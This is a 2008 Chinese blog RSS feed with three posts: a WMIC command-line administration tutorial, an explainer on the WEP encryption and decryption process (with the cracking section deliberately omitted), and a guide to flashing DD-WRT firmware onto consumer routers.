﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-GalaxyPilot —— D.S</title><link>http://www.blogjava.net/galaxyp/</link><description>&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;生命不熄，战斗不止&lt;br&gt;</description><language>zh-cn</language><lastBuildDate>Tue, 07 Oct 2008 14:26:45 GMT</lastBuildDate><pubDate>Tue, 07 Oct 2008 14:26:45 GMT</pubDate><ttl>60</ttl><item><title>wmic</title><link>http://www.blogjava.net/galaxyp/archive/2008/09/26/231285.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Fri, 26 Sep 2008 05:56:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/09/26/231285.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/231285.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/09/26/231285.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/231285.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/231285.html</trackback:ping><description><![CDATA[<h2 class="first">什么是WMIC？</h2>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC扩展<a target="_blank" href="http://baike.baidu.com/view/442461.htm">WMI</a>（Windows
Management Instrumentation，Windows管理规范）
，提供了从命令行接口和批命令脚本执行系统管理的支持。在WMIC出现之前，如果要管理WMI系统，必须使用一些专门的WMI应用，例如SMS，或者使用
WMI的脚本编程API，或者使用象CIM Studio之类的工具。如果不熟悉<a target="_blank" href="http://baike.baidu.com/view/824.htm">C++</a>之类的编成语言或<a target="_blank" href="http://baike.baidu.com/view/24920.htm">VBScript</a>之类的脚本语言，或者不掌握WMI名称空间的基本知识，要用WMI管理系统是很困难的。WMIC改变了这种情况，为WMI名称空间提供了一个强大的、友好的命令行接口。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC比WMI简单、直观得多，这主要是由于使用了别名（Alias）。别名机制获取用户在命令行上输入的一些简单命令，按照预定义的方式操作WMI名
称空间，例如根据一个简单的WMIC别名Get命令构造出一个复杂的WMI查询语言（WQL）命令。从这个意义上看，别名是用户和名称空间之间一个简化操
作的中间层。例如，如果在WMIC命令行上执行下面这个简单的WMIC命令，就可以获得用户帐户的基本信息：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <em>useraccount list brief</em><br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在上面的命令中，Useraccount别名执行了一个Win32_Useraccount类的WQL查询，以文本的形式显示出从该类提取的信息。另
外，WMIC还以文本的形式显示出Win32_Useraccount类的属姓。除了文本形式的输出之外，WMIC还能够以其他形式返回命令执行结果，例
如XML、HTML或者CSV（逗号分隔的文本文件）。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC以WMI模式中类的实例的形式保存别名。默认的别名类——MSFT_CliAlias，以及其他支持WMIC的类保存在模式的默认名称空间，或者
说root\cli角色。角色可以简单地看成专门用来支持WMIC的另一个WMI名称空间。默认角色root\cli连接到root\cimv2名称空
间，操作root\cimv2之内的类。虽然使用WMIC时一般不需要用到CIM Studio，但CIM
Studio可以用来方便地查看root\cli名称空间<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 你可以向root\cli名称空间和其他名称空间加入新的别名，还可以用Class和Path命令直接访问WMI名称空间，本文后面将详细说明Class和Path命令。<br />
<h2 class="">运行WMIC</h2>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 执行&#8220;wmic&#8221;命令启动WMIC命令行环境。这个命令可以在XP或 <a target="_blank" href="http://baike.baidu.com/view/4294.htm">.NET</a> Server的标准命令行解释器（cmd.exe）、Telnet会话或&#8220;运行&#8221;对话框中执行。这些启动方法可以在本地使用，也可以通过.NET Server终端服务会话使用。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第一次执行WMIC命令时，Windows首先要安装WMIC，然后显示出WMIC的命令行提示符。在WMIC命令行提示符上，命令以交互的方式执行。例如，执行下面的命令将关闭正在运行的Outlook：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <em>process where name='outlook.exe' call terminate</em> <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 命令运行结束后，WMIC命令行提示符重新出现。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC也可以按照非交互的模式运行。如果要执行某个单步的任务，或者运行批命令中的一系列WMIC命令，非交互模式就很有用。要使用非交互模式，只要在
同一个命令行上启动WMIC并输入要执行的命令就可以了。例如，执行cmd.exe打开一个命令行窗口，然后执行下面的命令，就可以输出连接到
MACHINE1的打印机清单：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wmic /node:MACHINE1 printer list status <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在这个例子中，第一个操作是启动WMIC，然后是根据/node参数建立一个到MACHINE1的远程连接，最后执行一个WMIC命令显示出打印机状态信息。命令运行结束后，返回到Windows命令行提示符状态。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
安装了WMIC的机器可以连接到任何一台安装了WMI的机器，被连接的机器不需要安装
WMIC。例如，从一台运行Win XP Pro的机器启动WMIC，可以连接和管理所有账行着XP、Win2K、Windows NT
4.0、Windows Me和Windows 9x的机器。<br />
<h2 class="">WMIC命令行构成</h2>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WMIC提供了大量的全局开关、别名、动词、命令和丰富的命令行帮助增强用户接口。全局开关是适用于整个WMIC会话的配置选项。例
如，/trace:on开关启用错误跟踪机制，如果这个开关处于打开状态，WMIC返回每一个命令的错误信息。利用/note开关可以访问远程机器，
/interactive:on开关要求WMIC在执行删除操作之前提示确认，其他的全局开关还包括/role、/user、/implevel以及
/namespace。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如前所述，别名是用户和WMI名称空间一个简化语法的中间层。当你指定一个别名时，动词（Verb）表示要执行的动作。例如，前面例子中的List和Call就是两个动词的例子。表一描述了其他一些WMIC动词，并为每一个动词给出了例子。 <br />
表一：WMIC动词 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 动词 例子 说明 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Assoc group where name= 'administrators' assoc 显示出Administrators组与系统的所有关联，包括Administrators组成员等。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
又如，os assoc显示出有关操作系统的信息和已经安装的补丁。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Create environment create name="progloc",
username="work01\User1",variablevalue= "%programfiles%\prog01"
创建一个名字为Progloc的变量，把它的值设置为Program
Files文件夹的一个子文件夹，把这个变量加入到Work01工作组计算机User1帐户。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Delete environment where(name= "progloc") delete 删除Progloc环境变量。测试WMIC命令时，为了防止意外地删除，可以使用/interactive:on全局开关，这时删除之前会要求确认。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Get partition get bootpartition, description, deviceid, bootable 返回分区是否可启动、描述信息和设备ID属姓等信息。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
Set path WIN32_USERACCOUNT where(name="user01") set disabled="true" 在成员服务器或工作站上禁用User01用户帐户。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
命令用来控制对WMIC和WMI名称空间的访问。注意表一的最后一个例子，这个例子用的是
Path和Win32_USERACCOUNT类，而不是Useraccount别名。Path是一个直接访问WMI名称空间中实例的命令，不必再通过别
名访问。如果待执行的系统管理任务没有现成的别名可用，Path命令特别有用。虽然你可以用新的别名和角色扩展WMIC，但如果你对WMI名称空间比较熟
悉，使用Path命令也很方便。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
除了Path命令之外，WMIC还支持Class、Context、Quit和Exit命令。
Class命令用来直接访问WMI模式内的类或创建现有类的实例。Class命令和Path命令的不同之处在于，Path命令的作用对象是实例以及它的属
姓（例如，提取管理用的信息），而Class命令的作用对象是类的定义。例如，如果要提取出WIN32_SOFTWAREELEMENT类的所有属姓，可
以执行如下命令： <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class WIN32_SOFTWAREELEMENT get <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个命令的输出是<a target="_blank" href="http://baike.baidu.com/view/692.htm">HTML</a>格式，稍后我们将了解如何用/output全局开关把输出重定向到可用浏览器打开的HTML文件。Class命令加上Assoc动词能够显示出类的名称空间路径以及其他与该类关联的类。利用Class命令可以删除类、创建类的实例，但不能创建类。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Context命令显示出全局开关的当前设置。Quit和Exit命令用来退出WMIC命令提示符环境，返回以前的Shell环境（例如Telnet环境，或XP的 命令行提示符环境）。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 命令行帮助是熟悉WMIC的有效途径。表二是在WMIC提示符下查找信息的常用命令： <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 表二：命令行帮助 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 命令 例子 说明 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /? 或 -? 显示所有全局开关和别名的语法 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; / /? /user /? 显示指定全局开关的信息 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /? class /? 显示某个命令的信息 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /? memcache /? 显示某个别名的信息 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /? temperature get /? 显示别名与动词组合的信息 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /?:Full irq get /?:Full 显示动词的帮助信息<br />
<h2 class="">实践应用</h2>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 以上我们了解了WMIC命令行环境的基础知识，下面来看看如何用批命令运行WMIC，以及把输出结果定向到控制台或HTML、XML文件。从批命令文件运
行WMIC的好处在于不需要重复输入一系列复杂的命令，例如，下面是一个批命令文件的内容，它的作用是显示出MACHINE1和MACHINE2这两台机
器的CPU信息，输出结果显示在控制台上。/format开关是面向动词的开关，而不是全局开关，它只用于Get和List动词。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <em>wmic /node:MACHINE1, MACHINE4 cpu get name, caption,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; maxclockspeed, systemname /format:textvaluelist.xsl <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </em>WMIC批命令可以使用变量。也就是说，对于上面的批命令，服务器的名字不仅可以直接
指定，而且还可以通过%1、%2的形式指定，下面就是一个例子。把下面的代码放入一个批命令文件，然后在执行批命令文件时加上一到二个机器的名字即可；另
外，也可以创建一个独立的文本文件，然后在文本文件中放入机器名字的清单，清单可以是<a target="_blank" href="http://baike.baidu.com/view/468993.htm">CSV</a>格式，或用换行符分隔的格式。如果使用独立的文本文件提供机器名字，只需在/node全局开关后面加上以@符号为前缀的文本文件名字，@符号告诉/node开关后面的参数是一个文件名字而不是机器名字。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; @echo off if "%1"==""<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto msg if "%2"==""<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; goto single wmic /node:%1, %2 cpu get name, caption, maxclockspeed, systemname<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /format:textvaluelist.xsl goto end :single wmic /node:%1 cpu get name, caption, maxclockspeed,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; systemname /format:textvaluelist.xsl goto end :msg echo 必须指定至少一台计算机的名字。 :end <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如前所述，WMIC命令的输出结果不仅可以发送到控制台，还可以发送到XML或HTML、
MOF（Managed Object
Format）格式的文件。在安装了WMI的计算机上，MOF是WMI数据库中类和类实例的原始保存形式。下面的例子显示了如何把MACHINE4处理器
信息的查询结果输出到HTML文件，/output全局开关要求WMIC把输出发送到file1.htm，/format开关要求WMIC把原始的XML
输出转换成HTML格式。用来转换格式的XSL样式文件既可以是自定义的，也可以是任何安装了WMIC的机器上\%systemroot%
\system32\wbem文件夹下面的任意XSL文件。例如，利用csv.xsl样式文件可以把输出结果转换成CSV格式，利用htable.xsl
样式可以构造出一个包含结果数据的表格<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 是在浏览器中打开的file1.htm文件。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wmic /node:MACHINE4 /output:e:\file1.htm cpu get description,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; maxclockspeed, extclock, manufacturer,revision /format:hform.xsl <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 前面已经提到，Class命令加上Get动词的默认输出是HTML格式。因此，如果要把这类命
令的输出结果保存到HTML文件，只需指定/output开关，不必加上/format开关。/record和/append全局开关也能够从WMIC命
令行截取信息，请利用WMIC的命令行帮助功能了解有关这些开关的更多信息。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果要以XML格式输出，用/translate开关和Basicxml关键词把大于符号&#8220;&gt;&#8221;和小于符号&#8220;&lt;&#8221;转换成<a target="_blank" href="http://baike.baidu.com/view/63.htm">XML</a>中有意义的字符。<br />
下面是输出XML的一个例子，输出的XML数据可导入到数据库或其他能够理解XML标记的系统。下面代码的输出中包含了WMIC命令、命令行请求参数、目标节点、全局开关以及命令执行结果。 <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wmic cpu get maxclockspeed /translate:basicxml /format:rawxml.xsl <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 总之，WMIC是XP和.NET Server中命令行管理功能的一次重要改进，对于从命令行访问和管理WMI名称空间提供了强健的支持。虽然掌握和熟悉WMIC命令行环境需要一段时间，但只要你熟悉了它，一个系统管理的全新境界将展现在你的面前。<br />
<br />
<img src ="http://www.blogjava.net/galaxyp/aggbug/231285.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2008-09-26 13:56 <a href="http://www.blogjava.net/galaxyp/archive/2008/09/26/231285.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>WEP加密详解(转)</title><link>http://www.blogjava.net/galaxyp/archive/2008/09/17/229339.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 17 Sep 2008 01:48:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/09/17/229339.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/229339.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/09/17/229339.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/229339.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/229339.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; WLAN技术出现之后，&#8220;<a href="http://soft.yesky.com/security/" class="bluekey" target="_blank">安全</a>&#8221;就成为始终伴随在&#8220;无线&#8221;这个词身边的影子，针对无线<a href="http://product.yesky.com/net/" class="bluekey" target="_blank">网络</a>技
术中涉及的安全认证加密协议的攻击与破解就层出不穷。现在，因特网上可能有数以百计，甚至以千计的文章介绍关于怎么攻击与破解WEP，但有多少人能够真正
地成功攻破WEP的加密算法呢?下面笔者来给大家介绍一些关于WEP加密手段的知识，以及就是菜鸟只要按照步骤操作也可成功破解WEP密钥的方法。当然最
终的目的还是为了让记者做好安全设置对破解更好的进行防范。本系列文章共两篇，在第一篇里主要介绍破解WEP的方法，第二篇里介绍如何设置WLAN的安全
设置来进行更好的防范。
<p>　　<font color="#a00000">一、WEP:无线网络安全最初的保护者</font></p>
<p>　　相对于有线网络来说，通过无线局域网发送和接收数据更容易被窃听。<a href="http://design.yesky.com/" class="bluekey" target="_blank">设计</a>一
个完善的无线局域网系统，加密和认证是需要考虑的两个必不可少的安全因素。无线局域网中应用加密和认证技术的最根本目的就是使无线业务能够达到与有线业务
同样的安全等级。针对这个目标，IEEE802.11标准中采用了WEP(Wired Equivalent
Privacy:有线对等保密)协议来设置专门的安全机制，进行业务流的加密和节点的认证。它主要用于无线局域网中链路层信息数据的保密。WEP采用对称
加密机理，数据的加密和解密采用相同的密钥和加密算法。WEP 使用加密密钥(也称为 WEP 密钥)加密 802.11
网络上交换的每个数据包的数据部分。启用加密后，两个 802.11
设备要进行通信，必须具有相同的加密密钥，并且均配置为使用加密。如果配置一个设备使用加密而另一个设备没有，则即使两个设备具有相同的加密密钥也无法通
信。(如图一所示)</p>
<p align="center"><img src="http://biz.chinabyte.com/imagelist/05/07/se07059g901c.jpg" alt="" border="0" /><br />
图一:WEP加密</p>
<p>　　<strong>WEP加密过程</strong></p>
<p>　　WEP支持 64 位和128 位加密，对于 64 位加密，加密密钥为 10 个十六进制字符(0-9 和 A-F)或 5 个
ASCII 字符;对于 128 位加密，加密密钥为 26 个十六进制字符或 13 个 ASCII 字符。64 位加密有时称为 40
位加密;128 位加密有时称为 104 位加密。152 位加密不是标准 WEP
技术，没有受到客户端设备的广泛支持。WEP依赖通信双方共享的密钥来保护所传的加密数据帧。其数据的加密过程如下。</p>
<p>　　<em>1、计算校验和(Check Summing)。</em></p>
<p>　　(1)对输入数据进行完整性校验和计算。</p>
<p>　　(2)把输入数据和计算得到的校验和组合起来得到新的加密数据，也称之为明文，明文作为下一步加密过程的输入。</p>
<p>　　<em>2、加密。在这个过程中，将第一步得到的数据明文采用算法加密。对明文的加密有两层含义:明文数据的加密，保护未经认证的数据。</em></p>
<p>　　(1)将24位的初始化向量和40位的密钥连接进行校验和计算，得到64位的数据。</p>
<p>　　(2)将这个64位的数据输入到虚拟随机数产生器中，它对初始化向量和密钥的校验和计算值进行加密计算。</p>
<p>　　(3)经过校验和计算的明文与虚拟随机数产生器的输出密钥流进行按位异或运算得到加密后的信息，即密文。</p>
<p>　　<em>3、传输。将初始化向量和密文串接起来，得到要传输的加密数据帧，在无线链路上传输。(如图二所示)</em></p>
<p align="center"><img src="http://biz.chinabyte.com/imagelist/05/07/h1iq0ct0v77i.jpg" alt="" border="0" /><br />
图二:WEP加密过程</p>
<strong>&nbsp;&nbsp;&nbsp; WEP解密过程</strong>
<p>　　在安全机制中，加密数据帧的解密过程只是加密过程的简单取反。解密过程如下。</p>
<p>　　1、恢复初始明文。重新产生密钥流，将其与接收到的密文信息进行异或运算，以恢复初始明文信息。</p>
<p>　　2、检验校验和。接收方根据恢复的明文信息来检验校验和，将恢复的明文信息分离，重新计算校验和并检查它是否与接收到的校验和相匹配。这样可以保证只有正确校验和的数据帧才会被接收方接受。</p>
<p align="center"><img src="http://biz.chinabyte.com/imagelist/05/07/otk168z2de1b.jpg" alt="" border="0" /><br />
图三:WEP解密过程</p>
<p align="center"><br />
</p>
&nbsp; &nbsp; 涉及破解的部分没有转过来，所以标志也作了一些调整，对没有转过来感兴趣的可以搜一下。
<img src ="http://www.blogjava.net/galaxyp/aggbug/229339.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2008-09-17 09:48 <a href="http://www.blogjava.net/galaxyp/archive/2008/09/17/229339.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>刷出无线新生活 浅析无线路由DD-WRT功能(转)</title><link>http://www.blogjava.net/galaxyp/archive/2008/09/11/228304.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Thu, 11 Sep 2008 03:01:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2008/09/11/228304.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/228304.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2008/09/11/228304.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/228304.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/228304.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp; 网件公司最新推出的54M无线路由Netgear
KWGR614，不仅配有两根2dbi的可拆卸天线、扩充了内存，最大的特点就是支持DD－WRT功能，用户能够自己刷驱动程序，使这款产品能发挥更多的
功能。由于KWGR614软件基于LINUX内核，发烧友通过给无线路由器刷新DD-WRT驱动程序后，就可以让自己的设备发挥更多原先没有的功能，例如
无线功率可调、网桥、客户端、AP、QOS、地址绑定、VPN、WEB、FTP、HTTPS等功能也能实现。
<p>　　相信真正的无线设备爱好者一定对DD-WRT非常熟悉，但是大部分用户也许对DD－WRT功能并不是很了解。那么究竟什么是DD－WRT功能呢？又如何去实现上述这些功能呢？我们今天就和大家一起聊聊DD－WRT，希望能对大家有所帮助。</p>
<p>　　可能没有玩过DD－WRT的玩家不知道DD－WRT是什么，我们打个比方：路由器的硬件就如同我们计算机的主板、内存、硬盘等，而实际上每台无线路由都有一个<span class="yqlink"><a href="http://www.iask.com/n?k=%B2%D9%D7%F7%CF%B5%CD%B3" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="操作系统">操作系统</a></span>OS，
每个厂家的无线路由器操作系统都不相同，而且也没有对外公布代码，这就类似于windows操作系统，虽然我们可以正常使用这些无线设备，但是由于自带的
OS不能够随便修改，所以难免在实际使用上存在这样或那样的不足，可能不适合自己使用。在这种环境下DD-WRT驱动应运而生，准确的说就是有了DD-
WRT之后，每台路由的功能可以由我们自己安装、配置，挺有意思的吧。</p>
<p>　　DD-WRT的第一个版本基于Sveasoft
Inc公司的Alchemy开发出来的，而现在利用源代码进行hack并给大家带来福音的是一个叫Brain
Slayer的疑似德国人，可以通过email找到他：brainslayer@braincontrol.org。DD－WRT带来的功能非常非常的丰
富，你能想到的都有、没见过的也有，这些也是要感谢这位神秘的Brain Slayer。</p>
<p>为什么要给无线路由器刷DD-WRT？<br />
</p>
<p>&nbsp;&nbsp;&nbsp;
但是刷新DD-WRT后能够为我们冲浪和管理网络带来什么好处呢？为什么我们要冒着设备被刷坏的危险更换固件驱动呢？一台无线路由器的操作系统OS相当于
他的大脑，那么刷新DD-WRT固件就意味着给这个无线路由器洗脑。经过洗脑操作后我们的无线设备将发挥更好的作用，所支持的功能更多，运行更加稳定。</p>
<p>&nbsp;&nbsp;&nbsp;
说的更直白一点，给无线路由刷DD-WRT就是抛弃原来设备的OS，更换一个新的OS，这样的操作有点类似于硬件爱好者常用的&#8220;超频&#8221;。DD-WRT是一
个第三方固件，它广泛地应用在基于Broadcom网络芯片设计的802.11g无线路由器，它的本质是一个Linux操作系统。市面主流品牌的无线路由
器由于某些原因不可能把所有网络功能都集中到一起，而且即使功能众多也未必适合所有用户的实际需求，这也是为什么很多用户都热衷于将自己的无线路由器操作
系统刷新为DD-WRT的原因。</p>
<p>&nbsp;&nbsp;&nbsp;
这些非商业的DD-WRT固件，功能强大，同时又具有友好的Web管理/配置界面，可以提供很多&#8220;原版&#8221;路由器不支持的功能，如调整无线发射功率等。一般
刷新了DD-WRT固件，就是想让无线路由器拥有更多、更强大的功能，相比传统无线路由器来说，DD-WRT无线路由器应用范围也更广。</p>
<p>DD-WRT特有的功能主要有以下几个：</p>
<p>&nbsp;&nbsp;&nbsp; 1． 支持花生壳的DDNS。</p>
<p>&nbsp;&nbsp;&nbsp; 2． 支持VPN的PPTP客户端和PPTP服务器端设置，可以提供VPN接入。</p>
<p>&nbsp;&nbsp;&nbsp; 3． 可以通过设置，轻松管理各种网络服务，例如彻底封杀BT，电驴，<span class="yqlink"><a href="http://www.iask.com/n?k=%D1%B8%C0%D7" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="迅雷">迅雷</a></span>等。</p>
<p>&nbsp;&nbsp;&nbsp; 4． 支持UPNP和端口映射功能。</p>
<p>&nbsp;&nbsp;&nbsp; 5． 可以轻松实现无线路由器的定时开关。</p>
<p>&nbsp;&nbsp;&nbsp; 6． 可以利用Q0S、限速、限连接数等设置来优化宽带。</p>
<p>&nbsp;&nbsp;&nbsp; 7． 支持多国语言，可以搭配802.1X协议，EAP（Extensible Authentication Protocol，可扩展认证协议）来增加网络认证应用。</p>
<p>&nbsp;&nbsp;&nbsp; 8． 支持IPv6、SNMP协议，SSH服务等。</p>
<p>&nbsp;&nbsp;&nbsp; 另外，还有很多功能等待用户去发掘，这里就不一一介绍了。本文主要介绍如何将自己的无线路由器刷新成基于DD-WRT的无线路由器。</p>
<p>&nbsp;&nbsp;&nbsp; 不过有一点还是值得用户注意的，并不是所有的无线路由器都可以刷新成DD-WRT。DD-WRT支持的品牌型号很多，以下罗列出一些最常见的以供参考：</p>
<p align="center">
<table id="table1" border="1" width="68%" height="511">
    <tbody>
        <tr>
            <td align="center" width="162">品牌</td>
            <td align="center">型号</td>
        </tr>
        <tr>
            <td width="162">Allnet </td>
            <td>All0277</td>
        </tr>
        <tr>
            <td width="162">Askey </td>
            <td>RT210W</td>
        </tr>
        <tr>
            <td width="162">Asus（<span class="yqlink">
            <form class="yqin" action="http://www.iask.com/n" method="post">
                <input name="k" value="%BB%AA%CB%B6" type="hidden" />
            </form>
            <a href="http://www.iask.com/n?k=%BB%AA%CB%B6" target="_blank" onclick="activateYQinl(this);return false;" class="akey" title="华硕">华硕</a></span>）</td>
            <td>WL-500G deluxe&nbsp; <br />
            WL-500G premium&nbsp; <br />
            WL-300G </td>
        </tr>
        <tr>
            <td width="162">Belkin（贝尔金）</td>
            <td>F5D7130/7330 (2mb flash) <br />
            F5D7230-4 v1000, v1010, v1111 <br />
            F5D7230-4 v1444 (2mb flash)</td>
        </tr>
        <tr>
            <td width="162">Buffalo（巴比禄）</td>
            <td>WHR-G54S<br />
            WHR-HP-G54 <br />
            WHR-HP-G54S <br />
            WZR-RS-G54<br />
            WBR-G54 <br />
            WBR2-G54 <br />
            WBR2-G54s <br />
            WLA-G54 </td>
        </tr>
        <tr>
            <td width="162">Linksys </td>
            <td>WRT54G v1.0, v1.1, v2.0, v2.2, v3.0, v3.1, v4.0, v5.0 (2mb flash) <br />
            WRT54GL v1.0, v1.1 <br />
            WRT54GS v1.0, v1.1, v2.0, v2.1, v3.0, v4.0, v5.0 (2mb flash) <br />
            WRTSL54GS v1.0 </td>
        </tr>
        <tr>
            <td width="162">Motorola（摩托罗拉）</td>
            <td>WR850G<br />
            &nbsp;</td>
        </tr>
        <tr>
            <td width="162">Ravo </td>
            <td>W54-RT</td>
        </tr>
        <tr>
            <td width="162">Siemens（西门子）</td>
            <td>Gigaset SE505 <br />
            Gigaset SX550i</td>
        </tr>
    </tbody>
</table>
</p>
<p>&nbsp;&nbsp;&nbsp; 以上所列的多数无线路由器都拥有至少4MB的flash容量，所有的WRT54GS
v4.0版本之前的型号都拥有8MB的flash容量，而也有部分路由器(包括WRT54G和WRT54GS的v5.0型号)仅有2MB的flash。
DD-WRT的完整版("full vision")和迷你版("mini vision")的安装都需要4MB的flash;而微型版("micro
vision")需要2MB来安装。 </p>
<p>&nbsp;&nbsp;&nbsp; 这些支持的设备刷新DD-WRT后的效果也是有很大差别的，笔者推荐拥有Buffalo WHR G54s、Ausu WL 500G Deluxe以及Motorola WR850G这几个产品的用户刷新，其刷新后的效果最为优秀。</p>
<p>　　值得注意的几点是：1、如果用的是Linksys的WRT54G系列路由器，一定要买V4版，因为扩展性最强，而V5、V6版在硬件配置上作了
削减，V7版就更不用考虑了。不过不幸的是，Linksys在中国只生产V7版，要买V4版的只能找库存了；2、由于Linksys的官方固件对可通过
web升级的文件尺寸作了限制，因此需要先用DD-WRT的mini版本升级，之后才可以升级其他的vpn/voip等高级版本，至于用tftp、
telnet还是web就看个人偏好了；3、如果使用web方式，建议用IE浏览器，使用firefox的至少要升级到1.5.0.x版本，否则会有兼容
性问题。</p>
<p>如何刷DD-WRT？<br />
</p>
<p>　　首先，先将路由器恢复到原厂设置，然后用网线将电脑和路由器的LAN口连接，在这个步骤肯定有许多朋友会问，能否用无线来刷DD－WRT？答案是不行的。因为路由器是在启动过程中被刷新，在这个过程中无线模块是不工作的。</p>
<p>　　将电脑的IP地址手动设为固定IP地址。如buffalo系列应该设为192.168.11.X，子网掩码为255.255.255.0，网关为192.168.11.1。</p>
<p>　　&#8220;开始&#8221;菜单－－&#8220;运行&#8221;－－键入&#8221;CMD"，点击&#8220;确定&#8221;进入到命令行模式。</p>
<p>　　键入cd\&nbsp; 回车，跳到C盘的根目录下。</p>
<p>　　接下来，将下载下来的DD-WRT固件，放在C盘的根目录下。</p>
<p>&nbsp;&nbsp;&nbsp; 提示：这里需要大家注意的是，不同品牌不同型号的无线路由器可能使用的DD-WRT驱动程序也不相同，有的由于内部FLASH容量等硬件差异可能只能使用PRO特别版或者MINI袖珍版，因此一定要下载适合自己产品的DD-WRT固件驱动程序，不能混用和错用。</p>
<p>　　键入tftp命令&nbsp; tftp -i 192.168.11.1 PUT 固件名称。</p>
